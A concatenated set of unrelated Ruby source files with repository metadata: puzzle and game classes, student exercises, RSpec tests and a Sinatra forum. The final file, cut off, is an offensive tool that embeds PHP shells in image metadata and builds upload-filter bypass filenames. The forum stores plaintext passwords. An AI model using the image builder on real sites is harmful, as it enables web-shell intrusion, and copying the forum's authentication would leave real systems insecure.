require 'hashie' class Room LASER = '@' NoLaserException = Class.new Exception RoomDesignException = Class.new Exception InfiniteLoopException = Class.new Exception attr_accessor :grid, :laser, :optics def initialize(description) self.optics = to_optics to_rows(description) self.grid = to_room optics self.laser = find_laser grid.all? { |row| conform_to_size?(row) } or raise(RoomDesignException) end def fire laser or raise(NoLaserException) beam = Hashie::Mash.new beam.x = laser.x beam.y = laser.y previous_optics = [] optic = laser hops = 0 loop do hops += 1 (beam.x, beam.y) = optic.effect(previous_optics[-1]) break unless contained?(beam) previous_optics.push(optic) optic = grid[beam.x][beam.y] raise(InfiniteLoopException) if optic.visited_from?(previous_optics[-1]) end hops end def height @height ||= optics.size end def width @width ||= optics.first.size end private def blank?(string) string.nil? || string.empty? end def conform_to_size?(row) (row.size == width) or puts("row #{row.map(&:to_s).join} is malformed.") end def contained?(beam) (beam.x >= 0) && (beam.x < height) && (beam.y >= 0) && (beam.y < width) end def find_laser grid.each_with_index do |row, row_index| column_index = row.find_index { |column| column.is_a?(Beam) } column_index and return(grid[row_index][column_index]) end nil end def scrub(string) string.gsub(/\s+/, '') end def to_optics(rows) rows.map { |row| row.chars } end def to_room(optics) Array.new.tap do |lab| optics.each_with_index do |row, row_index| row.each_with_index do |column, column_index| optic = optics[row_index][column_index] (lab[row_index] ||= [])[column_index] = OpticFactory.place(optic, row_index, column_index) end end end end def to_rows(description) description .split("\n") .map { |row| scrub row } .reject { |row| blank? row } end end
true
cfadb45ba577e0015e483aa6f8a99ff6edcc4423
Ruby
PhilipTimofeyev/LaunchSchool
/Intro_To_Programming/Ruby_Basics/Strings/String_Ex10.rb
UTF-8
93
2.53125
3
[]
no_license
colors = 'blue pink yellow orange'.split colors.include?('yellow') colors.include?('purple')
true
39eff94295398e100557bfb1807e95720526af49
Ruby
christianmacnamara/GA-Files
/HW_04.rb
UTF-8
2,640
4.53125
5
[]
no_license
############################################################################### # # Introduction to Ruby on Rails # # Lab 04 # # Purpose: # # Read the steps below and complete the exercises in this file. This Lab # will help you to review the basics of Object-Oriented Programming that # we learned in Lesson 04. # ############################################################################### # # 1. Review your solution to Lab 03. Copy and Paste your solution to # this file. # # 2. Create a new method called `increment_guess_count` that takes # an integer parameter and increments it by 1. # # 3. Create a new method called `guesses_left` that calculates how many guesses # out of 3 the Player has left. The method should take one parameter that is the # number of guesses the player has guessed so far. Use this new method in your # code to tell the user how many guesses they have remaining. # # 4. Make sure to remove your local variable `guesses_left` and use the # new method instead. # # 5. Make sure to comment your code so that you have appropriate # documentation for you and for the TAs grading your homework. :-) # ############################################################################### # # Student's Solution # ###############################################################################\ set_of_numbers = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ] secret_number = set_of_numbers.sample messages = Hash.new messages[:win] = [ "Congratulations - You've won!" ] messages[:lose] = [ "Sorry - You guessed wrong. The correct answer is #{secret_number}" ] messages[:too_low] = [ "Sorry - Your guess was too low"] messages[:too_high] = [ "Sorry - Your guess was too high"] @current_guess_count = 0 def guesses_left 3 - @current_guess_count end def increment_guess_count @current_guess_count += 1 end first = "Christian" last = "MacNamara" puts "\nWelcome to the secret number game, created by #{first} #{last}" puts "\nType your name:" input_name = $stdin.gets.chomp name = "#{input_name}" puts "\nHi #{name}! You have 3 guesses to guess the Secret Number between 1 and 10." 3.times do |count| puts "\nYou have #{ guesses_left } guesses left!" puts "Guess a number between 1 and 10:" guess_number = $stdin.gets.strip.to_i if guess_number == secret_number puts messages [:win] puts "You got it in #{@current_guess_count} turns" exit elsif guess_number < secret_number increment_guess_count puts messages[:too_low] elsif guess_number > secret_number increment_guess_count puts messages[:too_high] end end puts messages[:lose] puts "The secret number was #{secret_number}"
true
adea2d931e0501596116f8246808f92b48e30771
Ruby
seann1/to_do_list_activerecord
/spec/list_spec.rb
UTF-8
690
2.53125
3
[]
no_license
require 'spec_helper' describe List do it "has many tasks" do list = List.create({:name => "list"}) task1 = Task.create({:name => "task1", :list_id => list.id}) task2 = Task.create({:name => "task2", :list_id => list.id}) list.tasks.should eq [task1, task2] end it 'validates presence of a name' do list = List.new({:name => ''}) list.save.should eq false end it 'ensures that a list name is less than 50 characters long' do list = List.new({:name => 'a' * 51}) list.save.should eq false end it 'puts the list name entered into all lowercase' do list = List.new({:name => 'wORk'}) list.save list.name.should eq 'work' end end
true
02312bc064d05555d8739932c52fff18d6a15249
Ruby
Mortaro/towstagem
/lib/towsta/kinds/datetime.rb
UTF-8
443
2.53125
3
[]
no_license
module Towsta module Kinds class DatetimeKind < MainKind def set content return @content = content if content.class == Time begin @content = DateTime.strptime(content, '%m/%d/%Y %H:%M').to_time rescue @content = nil end end def export return @content.strftime('%m/%d/%Y %H:%M') if @content.class == Time @content.to_s end end end end
true
3b9d4e57040730ddc9abe0ac9d8a9b2bb5899edb
Ruby
mdippery/usaidwat
/spec/usaidwat/formatter_spec.rb
UTF-8
16,559
2.609375
3
[ "MIT" ]
permissive
require 'spec_helper' require 'timecop' module USaidWat module CLI describe BaseFormatter do describe "options" do describe "date formats" do describe "#relative_dates?" do it "should return true if a relative date formatter" do f = BaseFormatter.new(:date_format => :relative) expect(f.relative_dates?).to be true end it "should return true if relative date option is passed as a string" do f = BaseFormatter.new(:date_format => 'relative') expect(f.relative_dates?).to be true end it "should return false if date format is absolute" do f = BaseFormatter.new(:date_format => :absolute) expect(f.relative_dates?).to be false end it "should return false if date format is absolute and is passed as a string" do f = BaseFormatter.new(:date_format => 'absolute') expect(f.relative_dates?).to be false end it "should use relative dates by default" do f = BaseFormatter.new expect(f.relative_dates?).to be true end it "should use relative dates when a date format is invalid" do f = BaseFormatter.new(:date_format => :iso) expect(f.relative_dates?).to be true end end end describe "patterns" do let (:formatter) { BaseFormatter.new(:pattern => /[0-9]+/) } describe "#pattern" do it "should return its pattern" do expect(formatter.pattern).to eq(/[0-9]+/) end it "should return nil if it does not have a pattern" do f = BaseFormatter.new expect(f.pattern).to be nil end end describe "#pattern?" do it "should return true if it has a pattern" do expect(formatter.pattern?).to be true end it "should return false if it does not have a pattern" do f = BaseFormatter.new expect(f.pattern?).to be false end it "should return false by default" do f = BaseFormatter.new expect(f.pattern?).to be false end end end describe "#raw?" do it "should return true if it is a raw formatter" do f = BaseFormatter.new(:raw => true) expect(f.raw?).to be true end it "should return false if it is not a raw formatter" do f = BaseFormatter.new(:raw => false) expect(f.raw?).to be false end it "should return false by default" do f = BaseFormatter.new expect(f.raw?).to be false end end end end describe PostFormatter do let(:formatter) { PostFormatter.new } before do Timecop.freeze(Time.new(2015, 11, 19, 15, 27)) end after do Timecop.return end describe "#format" do it "should return a string containing the formatted post" do post = double("post") expect(post).to receive(:subreddit).and_return("Games") expect(post).to receive(:permalink).twice.and_return("/r/Games/comments/3ovldc/the_xbox_one_is_garbage_and_the_future_is_bullshit/") expect(post).to receive(:title).and_return("The Xbox One Is Garbage And The Future Is Bullshit") expect(post).to receive(:created_utc).and_return(Time.at(1444928064)) expect(post).to receive(:url).twice.and_return("http://adequateman.deadspin.com/the-xbox-one-is-garbage-and-the-future-is-bullshit-1736054579") expected = <<-EXPECTED Games https://www.reddit.com/r/Games/comments/3ovldc The Xbox One Is Garbage And The Future Is Bullshit about 1 month ago http://adequateman.deadspin.com/the-xbox-one-is-garbage-and-the-future-is-bullshit-1736054579 EXPECTED expected = expected.strip actual = formatter.format(post).delete_ansi_color_codes expect(actual).to eq(expected) end it "should not include the URL if it is the same as the permalink" do permalink = "/r/Games/comments/3ovldc/the_xbox_one_is_garbage_and_the_future_is_bullshit/" post = double("post") expect(post).to receive(:subreddit).and_return("Games") expect(post).to receive(:permalink).twice.and_return(permalink) expect(post).to receive(:title).and_return("The Xbox One Is Garbage And The Future Is Bullshit") expect(post).to receive(:created_utc).and_return(Time.at(1444928064)) expect(post).to receive(:url).and_return("https://www.reddit.com#{permalink}") expected = <<-EXPECTED Games https://www.reddit.com/r/Games/comments/3ovldc The Xbox One Is Garbage And The Future Is Bullshit about 1 month ago EXPECTED expected = expected.strip actual = formatter.format(post).delete_ansi_color_codes expect(actual).to eq(expected) end it "should print two spaces between posts" do post1 = double("first post") expect(post1).to receive(:subreddit).and_return("Games") expect(post1).to receive(:permalink).twice.and_return("/r/Games/comments/3ovldc/the_xbox_one_is_garbage_and_the_future_is_bullshit/") expect(post1).to receive(:title).and_return("The Xbox One Is Garbage And The Future Is Bullshit") expect(post1).to receive(:created_utc).and_return(Time.at(1444928064)) expect(post1).to receive(:url).twice.and_return("http://adequateman.deadspin.com/the-xbox-one-is-garbage-and-the-future-is-bullshit-1736054579") post2 = double("second post") expect(post2).to receive(:subreddit).and_return("technology") expect(post2).to receive(:permalink).twice.and_return("/r/technology/comments/3o0vrh/mozilla_lays_out_a_proposed_set_of_rules_for/") expect(post2).to receive(:title).and_return("Mozilla lays out a proposed set of rules for content blockers") expect(post2).to receive(:created_utc).and_return(Time.at(1444340278)) expect(post2).to receive(:url).twice.and_return("https://blog.mozilla.org/blog/2015/10/07/proposed-principles-for-content-blocking/") s = formatter.format(post1) s = formatter.format(post2) lines = s.split("\n") expect(lines[0]).to eq('') expect(lines[1]).to eq('') expect(lines[2]).to eq('') expect(lines[3]).not_to eq('') end end end describe CommentFormatter do let(:formatter) { CommentFormatter.new } before do Timecop.freeze(Time.new(2015, 6, 16, 17, 8)) end after do Timecop.return end describe "#format" do it "should return a string containing the formatted comment" do comment = double("comment") expect(comment).to receive(:subreddit).twice.and_return("programming") expect(comment).to receive(:link_id).and_return("t3_13f783") expect(comment).to receive(:id).and_return("c73qhxi") expect(comment).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist") expect(comment).to receive(:created_utc).and_return(Time.at(1433378314.0)) expect(comment).to receive(:ups).and_return(12) expect(comment).to receive(:downs).and_return(1) expect(comment).to receive(:body).and_return("Welcome to the wonderful world of Python drama!") expected = <<-EXPECTED programming http://www.reddit.com/r/programming/comments/13f783/z/c73qhxi Why Brit Ruby 2013 was cancelled and why this is not ok - Gist about 2 weeks ago \u2022 +11 Welcome to the wonderful world of Python drama! EXPECTED actual = formatter.format(comment).delete_ansi_color_codes expect(actual).to eq(expected) end it "should print two spaces between comments" do comment1 = double("first comment") expect(comment1).to receive(:subreddit).twice.and_return("programming") expect(comment1).to receive(:link_id).and_return("t3_13f783") expect(comment1).to receive(:id).and_return("c73qhxi") expect(comment1).to receive(:created_utc).and_return(Time.at(1433378314.0)) expect(comment1).to receive(:ups).and_return(12) expect(comment1).to receive(:downs).and_return(1) expect(comment1).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist") expect(comment1).to receive(:body).and_return("Welcome to the wonderful world of Python drama!") comment2 = double("second comment") expect(comment2).to receive(:subreddit).twice.and_return("programming") expect(comment2).to receive(:link_id).and_return("t3_13f783") expect(comment2).to receive(:id).and_return("c73qhxi") expect(comment2).to receive(:created_utc).and_return(Time.at(1433378314.0)) expect(comment2).to receive(:ups).and_return(12) expect(comment2).to receive(:downs).and_return(1) expect(comment2).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist") expect(comment2).to receive(:body).and_return("Welcome to the wonderful world of Python drama!") s = formatter.format(comment1) s = formatter.format(comment2) lines = s.split("\n") expect(lines[0]).to eq('') expect(lines[1]).to eq('') expect(lines[2]).not_to eq('') end it "should strip leading and trailing whitespace from comments" do comment = double(comment) expect(comment).to receive(:subreddit).twice.and_return("test") expect(comment).to receive(:link_id).and_return("t3_13f783") expect(comment).to receive(:id).and_return("c73qhxi") expect(comment).to receive(:created_utc).and_return(Time.at(1433378314.0)) expect(comment).to receive(:ups).and_return(12) expect(comment).to receive(:downs).and_return(1) expect(comment).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist") expect(comment).to receive(:body).and_return("This is a comment.\n\nIt has two lines.\n\n\n") s = formatter.format(comment) lines = s.split("\n") expect(lines[-1]).to eq("It has two lines.") end it "should format HTML entities in post titles" do comment = double("first comment") expect(comment).to receive(:subreddit).twice.and_return("guitars") expect(comment).to receive(:link_id).and_return("t3_13f783") expect(comment).to receive(:id).and_return("c73qhxi") expect(comment).to receive(:created_utc).and_return(Time.at(1433378314.0)) expect(comment).to receive(:ups).and_return(12) expect(comment).to receive(:downs).and_return(1) expect(comment).to receive(:link_title).and_return("[GEAR] My 06 Fender EJ Strat, an R&amp;D prototype sold at NAMM") expect(comment).to receive(:body).and_return("Lorem ipsum") s = formatter.format(comment).delete_ansi_color_codes lines = s.split("\n") expect(lines[2]).to eq("[GEAR] My 06 Fender EJ Strat, an R&D prototype sold at NAMM") end end end describe CompactCommentFormatter do let (:formatter) { CompactCommentFormatter.new } before do Timecop.freeze(Time.new(2015, 6, 16, 17, 8)) end after do Timecop.return end describe "#format" do it "should return a string containing the formatted comment" do comment = double("comment") expect(comment).to receive(:subreddit).and_return("programming") expect(comment).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist") expected = "programming Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\n" actual = formatter.format(comment).delete_ansi_color_codes expect(actual).to eq(expected) end it "should format HTML entities in titles" do comment = double("comment") expect(comment).to receive(:subreddit).and_return("guitars") expect(comment).to receive(:link_title).and_return("[GEAR] My 06 Fender EJ Strat, an R&amp;D prototype sold at NAMM") expected = "guitars [GEAR] My 06 Fender EJ Strat, an R&D prototype sold at NAMM\n" actual = formatter.format(comment).delete_ansi_color_codes expect(actual).to eq(expected) end it "should return an empty string if a comment has already been printed" do comment1 = double("comment") comment2 = double("comment") expect(comment1).to receive(:subreddit).and_return("programming") expect(comment1).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist") _ = formatter.format(comment1).delete_ansi_color_codes expect(comment2).to receive(:subreddit).and_return("programming") expect(comment2).to receive(:link_title).and_return("Why Brit Ruby 2013 was cancelled and why this is not ok - Gist") actual = formatter.format(comment2).delete_ansi_color_codes expect(actual).to eq("") end end end describe CompactPostFormatter do let (:formatter) { CompactPostFormatter.new } describe '#format' do it 'should return a string containing the formatted comment' do post = double('post') expect(post).to receive(:subreddit).and_return('programming') expect(post).to receive(:title).and_return('Why Brit Ruby 2013 was cancelled and why this is not ok - Gist') expected = "programming Why Brit Ruby 2013 was cancelled and why this is not ok - Gist\n" actual = formatter.format(post).delete_ansi_color_codes expect(actual).to eq(expected) end end end describe TallyFormatter do before(:all) do Struct.new('PartitionData', :longest, :counts) end let (:formatter) { TallyFormatter.new } describe '#format' do it 'should format partitioned data' do longest_subreddit = 'writing'.length count_data = [['apple', 5], ['Bass', 1], ['Python', 3], ['writing', 10]] partition = Struct::PartitionData.new(longest_subreddit, count_data) expected = <<-EOS apple 5 Bass 1 Python 3 writing 10 EOS actual = formatter.format(partition) expect(actual).to eq(expected) end end end describe TimelineFormatter do let (:data) { [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 6, 1, 11, 0, 2, 1, 4, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 2, 7, 4, 1, 6, 1, 2, 2, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 5, 5, 0, 0, 0, 3, 2, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 2, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]] } let (:formatter) { TimelineFormatter.new } describe '#format' do it 'should format a timeline' do expected = <<EOS 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 S M * * * * * * * T * * * W * * * * * * * * * * T * * * * * * F * * * * S EOS actual = formatter.format(data) expect(actual).to eq(expected) end end end end end
true
808e0bfd439ecb1aedf6fea395020381b8544390
Ruby
SauperMagiuse/Forum
/app.rb
UTF-8
3,130
2.78125
3
[]
no_license
require 'sinatra' require 'sequel' enable 'sessions' #Open Database DB = Sequel.connect('sqlite://db/userdata.db') #Where everything is kept get '/' do #Main forum page @login = session[:username] @posts = [] postdata = DB[:dataPost].where(:parentID => 0) # Passing in Front page render data and only grabs the original posts. postdata.each{ |row| @posts << [ row[:title], row[:postID], row[:author] ] } erb :index end post '/' do #we have a few things in params[] title and text id = (DB[:dataPost].map(:postID)).max + 1 DB[:dataPost].insert( :parentID => 0, :postID => id, :title => params[:title], :text => params[:text], :author => session[:username] ) redirect '/' end #parent ID for posting to this is always 0 as it's an original post and must appear on the front page. The only thing that is rather tough to grab is post ID, but we'll create that like me grab a new user ID get '/thread' do original = ( DB[:dataPost].where( :postID => params[:thread] ) ) #this points to a hash with title author and text as the significant fields. original.each do |x| @op = [ x[:author], x[:title], x[:text] ] end # @comments = [] # postdata = DB[:dataPost].where( :parentID => params[:thread] ) # postdata.each do |row| @comments << [ row[:author], row[:text] ]; # end @thread = params[:thread] @posts = [] postdata = DB[:dataPost].where(:parentID => params[:thread]) postdata.each{ |row| @posts << [ row[:text], row[:author] ] } erb :thread end post '/thread' do if session[:username] != nil id = (DB[:dataPost].map(:postID)).max + 1 DB[:dataPost].insert(:author => session[:username], :text => params[:text], :parentID => params[:thread], :postID => id) #CREATE METHOD FOR FINDING NEXT ID end redirect '/thread?thread=' + params[:thread] end get '/signup' do #account creation erb :signup end post '/signup' do #checks if form data is valid and creates account or asks to retry usernames = DB[:dataUser].map(:username) if usernames.include?(params[:user]) @status = 'Signup Failed' #on invalid form data send back to signup to retry erb :signup else id = DB[:dataUser].map(:userID) #on valid form data id = id.max + 1 DB[:dataUser].insert(:userID => id, :username => params[:user], :password =>params[:pass]) redirect '/login' end end get '/login' do #account login erb :login end post '/login' do login_data = DB[:dataUser].to_hash(:username, :password) # Need to check for a more efficient way to do this bit #create hash from current DB user data table and check whether the given username in the table points to the given password if login_data[params[:user]] == params[:pass] session[:username] = params[:user] # only cookie necessary is who a user is, which let's me grab all of the information. Need a SECRET encoded cokie redirect '/' else @status = 'Login Failed' # I pass a string here because passing in true or false makes the erb for this much more complicated than it needs to be end erb :login end get '/logout' do #logs user out by removing cookie session[:username] = nil redirect '/' end
true
c71f483606f39cd89a130a9d75d0a25978386618
Ruby
CraMo7/wkndhw2
/classes/hotel.rb
UTF-8
959
3.125
3
[]
no_license
require_relative("../classes/booking.rb") require_relative("../classes/recordbook.rb") class Hotel attr_reader :capacity, :occupancy, :bookings def initialize(params = {}) params.has_key?(:single_rooms) ? @single_rooms_total = params[:single_rooms] : @single_rooms_total = 0 params.has_key?(:double_rooms) ? @double_rooms_total = params[:double_rooms] : @double_rooms_total = 0 params.has_key?(:single_rooms) @capacity = @single_rooms_total + @double_rooms_total * 2 params.has_key?(:occupancy) ? @occupancy = params[:occupancy] : @occupancy = 0 params.has_key?(:revenue) ? @revenue = params[:revenue] : @revenue = 0 params.has_key?(:costs) ? @costs = params[:costs] : @costs = 0 params.has_key?(:bookings) ? @bookings = params[:bookings] : @bookings = Array.new end def add_booking(booking) booking.class == Booking ? @bookings << booking : return end def read_record_book end end# => class end
true
d28011d6c1b6b7719382f8a2c8034ef0b57eb42e
Ruby
jociemoore/ruby_oop_practice
/120_lesson_2/bonus_features.rb
UTF-8
6,479
3.484375
3
[]
no_license
# keep score # Lizard Spock # History of Moves # => I used an array of arrays which records the win or loss and the move choice. # => I included the history methods in the existing Player class. # => I outputted the history of moves as a numbered list. # Adjust computer choice based on history require 'pry' class Move VALUES = ['rock', 'paper', 'scissors', 'lizard', 'spock'] def initialize(value) @value = value end def scissors? @value == 'scissors' end def paper? @value == 'paper' end def rock? @value == 'rock' end def lizard? @value =='lizard' end def spock? @value == 'spock' end def >(other_move) rock? && other_move.scissors? || rock? && other_move.lizard? || scissors? && other_move.lizard? || scissors? && other_move.paper? || lizard? && other_move.paper? || lizard? && other_move.spock? || paper? && other_move.spock? || paper? && other_move.rock? || spock? && other_move.rock? || spock? && other_move.scissors? end def <(other_move) rock? && other_move.spock? || rock? && other_move.paper? || spock? && other_move.paper? || spock? && other_move.lizard? || paper? && other_move.scissors? || paper? && other_move.lizard? || lizard? && other_move.rock? || lizard? && other_move.scissors? || scissors? && other_move.spock? || scissors? && other_move.rock? end def to_s @value end end class Move_Analysis attr_accessor :history, :chance_rock, :chance_paper, :chance_scissors, :chance_lizard, :chance_spock def initialize(history) @history = history @chance_rock = calculate_failure('rock') @chance_paper = calculate_failure('paper') @chance_scissors = calculate_failure('scissors') @chance_lizard = calculate_failure('lizard') @chance_spock = calculate_failure('spock') end def calculate_failure(move_type) number_losses = self.history.count(["L", move_type]) total_moves_by_type = number_losses + self.history.count(["W", move_type]) if total_moves_by_type > 0 && number_losses.to_f > 0 number_losses.to_f / total_moves_by_type.to_f else 0 end end def get_options computer_choices = Move::VALUES.clone old_moves = self.history.map { |array| array[1] } random_luck = rand(1..10) if self.chance_rock > 0.6 && old_moves.count('rock') > 1 computer_choices.delete('rock') end if self.chance_paper > 0.6 && old_moves.count('paper') > 1 computer_choices.delete('paper') end if self.chance_scissors > 0.6 && old_moves.count('scissors') > 1 computer_choices.delete('scissors') end if self.chance_lizard > 0.6 && old_moves.count('lizard') > 1 computer_choices.delete('lizard') end if self.chance_spock > 0.6 && old_moves.count('spock') > 1 computer_choices.delete('spock') end if computer_choices.empty? || random_luck % 3 == 0 computer_choices = Move::VALUES end computer_choices end end class Player attr_accessor :move, :name, :score, :log def initialize set_name @score = 0 @log = [] end def increase_score self.score += 1 end def record_move(win_loss, play) self.log << [win_loss, play] end def display_history puts "\n************************" puts "#{self.name}'s History of Moves: " self.log.each_with_index do |prev_move, index| puts "#{index + 1}) #{prev_move}" end puts "************************\n" end end class Human < Player def set_name n = nil loop do puts "==================" print "Please introduce yourself to your opponent. \nWhat is your name: " n = gets.chomp break unless n.empty? puts "Sorry, must enter a value." end self.name = n end def choose puts "==================" print "#{name}, please choose rock, paper, scissors, lizard, or spock: " choice = nil loop do choice = gets.chomp break if Move::VALUES.include? choice puts "Sorry, invalid choice." end self.move = Move.new(choice) end end class Computer < Player def set_name self.name = ['R2D2', 'Hal', 'Chappie', 'Sarah', 'Beth'].sample puts "You will be playing against #{name}." end def choose choice = Move_Analysis.new(self.log).get_options.sample self.move = Move.new(choice) end end class RPSGame attr_accessor :human, :computer def initialize @human = Human.new @computer = Computer.new @@game_over = false end def display_moves puts "--------" puts "#{human.name} chose #{human.move}." puts "#{computer.name} chose #{computer.move}." puts "--------" end def display_winner if human.move > computer.move puts "#{human.name} won!" human.increase_score human.record_move('W', human.move.to_s) computer.record_move('L', computer.move.to_s) elsif human.move < computer.move puts "#{computer.name} won!" computer.increase_score human.record_move('L', human.move.to_s) computer.record_move('W', computer.move.to_s) else puts "It's a tie!" end display_scoreboard end def display_scoreboard puts "--------" puts "#{human.name}: #{human.score}" puts "#{computer.name}: #{computer.score}" puts "--------" if human.score == 10 puts "#{human.name} won 'Best of Ten'." @@game_over = true elsif computer.score == 10 puts "#{computer.name} won 'Best of Ten'." @@game_over = true end end def play loop do human.choose computer.choose display_moves display_winner human.display_history computer.display_history break if @@game_over play_again? end end end def display_welcome_message puts "Welcome to Rock, Paper, Scissors, Lizard, Spock!" end def display_goodbye_message puts "==================" puts "Thanks for playing Rock, Paper, Scissors, Lizard, Spock. Goodbye!" exit end def play_again? answer = nil puts "==================" loop do print "Would you like to play again? (y/n) " answer = gets.chomp.downcase break if ['y', 'n'].include? answer puts "Sorry, must be 'y' or 'n'." end return true if answer == 'y' if answer == 'n' display_goodbye_message end end display_welcome_message loop do RPSGame.new.play break unless play_again? end
true
22872cb009f00314f1acbd1132fb188318284d36
Ruby
chongr/minesweeper
/minesweeper.rb
UTF-8
4,770
3.40625
3
[]
no_license
require "yaml" class Minesweeper def initialize(player) @player = player @gameboard = Board.new end def play playturn until gameover? end def playturn #@gameboard.display @gameboard.player_display move = @player.get_move make_move(move) save_game end def save_game save_file = File.open("save_game", "w") yamlfile = @gameboard.to_yaml IO.binwrite(save_file, yamlfile) end def load_game @gameboard = YAML::load(IO.binread("save_game")) end def make_move(move) letter = move[1] pos = move[0] tile_pos = @gameboard.grid[pos[0]][pos[1]] #debugger if letter == "f" tile_pos.flag else tile_pos.reveal if tile_pos.flagged == false @gameboard.reveal_zeros(pos) if tile_pos.symbol == 0 end end def gameover? if @gameboard.grid.flatten.count{|tile| tile.hidden == false} == (81 - @gameboard.numberofbombs) puts " gratz you win" exit elsif @gameboard.grid.flatten.any? {|tile| tile.hidden == false && tile.symbol == :b } puts "you suck at this #{@player.name}" exit end false end end class Tile attr_accessor :symbol, :flagged, :hidden def initialize @symbol = :* @flagged = false @hidden = true end def reveal @hidden = false if @flagged == false end def flag if @flagged == false @flagged = true else @flagged = false end end def show_player if hidden && flagged return :F elsif hidden return :* else return @symbol end end end class Board attr_accessor :grid attr_reader :numberofbombs def initialize # debugger @numberofbombs = 30 @grid = Array.new(9) {Array.new(9) {Tile.new}} place_bombs place_bomb_indicators end def place_bombs bomb_placed = 0 while bomb_placed < numberofbombs randx = rand(0..8) randy = rand(0..8) if @grid[randx][randy].symbol != :b @grid[randx][randy].symbol = :b bomb_placed += 1 end end end def place_bomb_indicators @grid.each_with_index do |row,idx1| row.each_with_index do |col,idx2| count = count_adj_bombs([idx1,idx2]) @grid[idx1][idx2].symbol = count if @grid[idx1][idx2].symbol != :b end end end def count_adj_bombs(pos) row = pos[0] col = pos[1] adjacent_spots = { left: [row, col - 1], right: [row, col + 1], top: [row + 1, col], bot: [row - 1, col], upL: [row + 1, col - 1], upR: [row + 1, col + 1], botL: [row - 1, col - 1], botR: [row - 1, col + 1] } count = adjacent_spots.values.select do |spot| spot[0].between?(0, 8) && spot[1].between?(0, 8) && @grid[spot[0]][spot[1]].symbol == :b end count.length end def display @grid.each{|row| p row.map {|pos| pos.symbol}} end def player_display @grid.each{|row| p row.map {|pos| pos.show_player}} end def reveal_zeros(pos) row = pos[0] col = pos[1] @grid[row][col].reveal return if @grid[pos[0]][pos[1]].symbol == /[0-9]/ adjacent_spots = { left: [row, col - 1], right: [row, col + 1], top: [row + 1, col], bot: [row - 1, col], upL: [row + 1, col - 1], upR: [row + 1, col + 1], botL: [row - 1, col - 1], botR: [row - 1, col + 1] } @grid[row][col].reveal adjacent_spots.values.each do |spot| if spot[0].between?(0, 8) && spot[1].between?(0, 8) && grid[spot[0]][spot[1]].hidden == true @grid[spot[0]][spot[1]].reveal reveal_zeros([spot[0], spot[1]]) if @grid[spot[0]][spot[1]].symbol == 0 end end end end class Player attr_reader :name def initialize(name) @name = name end def get_move puts "Enter a move (e.g. 0 0 f)" move = gets.chomp letter = move.scan(/[a-z]/).join number = move.scan(/[0-9]/).map(&:to_i) if valid_move?(number,letter) return [number,letter] else get_move end end def valid_move?(number,letter) if (letter == "f" || letter == "") && number.length == 2 && number[0].between?(0,8) && number[1].between?(0,8) return true else return false end end end # board = Board.new # board.place_bombs # board.display # board.place_bomb_indicators # board.display # board.player_display # player = Player.new("Ryan") # player.get_move # board.count_adj_bombs([5,5]) player = Player.new("Ryan") game = Minesweeper.new(player) puts "load previous game or new game? (load, new)" user_input = gets.chomp.downcase if user_input == "load" game.load_game end game.play
true
4fd9c1e4ae59d24c7dd81614a6dfe2dcd7af218d
Ruby
oneplus-x/OhNo
/ohno-c
UTF-8
15,613
2.75
3
[]
no_license
#!/usr/bin/env ruby # # Evil Image Builder # A Ruby ExifTool GUI of sorts # By: Hood3dRob1n # # Pre-Requisites: # MiniExifTool is a wrapper for ExifTool CLI # ExifTool CLI Installation: http://www.sno.phy.queensu.ca/~phil/exiftool/install.html # Download file... # cd <your download directory> # gzip -dc Image-ExifTool-#.##.tar.gz | tar -xf - # cd Image-ExifTool-#.##/ # perl Makefile.PL # make test # sudo make install # ####### STD GEMS ######### require 'fileutils' # require 'optparse' # ###### NON-STD GEMS ###### require 'mini_exiftool' # require 'colorize' # ########################## HOME=File.expand_path(File.dirname(__FILE__)) EVIL=HOME + '/evil/' UP = EVIL + 'uploads/' # Terminal Banner def banner puts print <<"EOT".white _______________________________ < OhNo - The Evil Image Builder > ------------------------------- \\ __ \\ (OO) \\ ( ) \\ /--\\ __ / \\ \\ UOOU\\.'@@@@@@`.\\ ) \\__/(@@@@@@@@@@) / (@@@@@@@@)(( `YY~~~~YY' \\\\ || || >> EOT end # Clear Terminal def cls if RUBY_PLATFORM =~ /win32|win64|\.NET|windows|cygwin|mingw32/i system('cls') else system('clear') end end # Delete MetaTag Value # Returns True on Success, False otherwise def delete(obj, tag) if not obj.tags.include?(tag) return false else obj[tag] = '' # Set to Nothing to Wipe Tag if obj.save return true else return false end end end # Write String to Tag # Returns True on Success, False otherwise def write(obj, str, tag) obj[tag] = str if obj.save return true else return false end end # Dump Tags & Values # Returns Hash {Tag=>Value} def dump(obj) tagz={} obj.tags.sort.each do |tag| tagz.store(tag, obj[tag]) end return tagz end # Build various Shell Upload Bypass Possibilities # Generates many possibilities and writes them to: OhNo/evil_images/uploads/ def generate_uploads(shell, flip='gif') Dir.mkdir(EVIL) unless File.exists?(EVIL) and File.directory?(EVIL) Dir.mkdir(UP) unless File.exists?(UP) and File.directory?(UP) php = [ 'php', 'pHp', 'php4', 'php5', 'phtml' ] options = [ 'gif', 'jpeg', 'mp3', 'pdf', 'png', 'txt' ] shell_name = shell.split('/')[-1] # Read provided Shell into Var data = 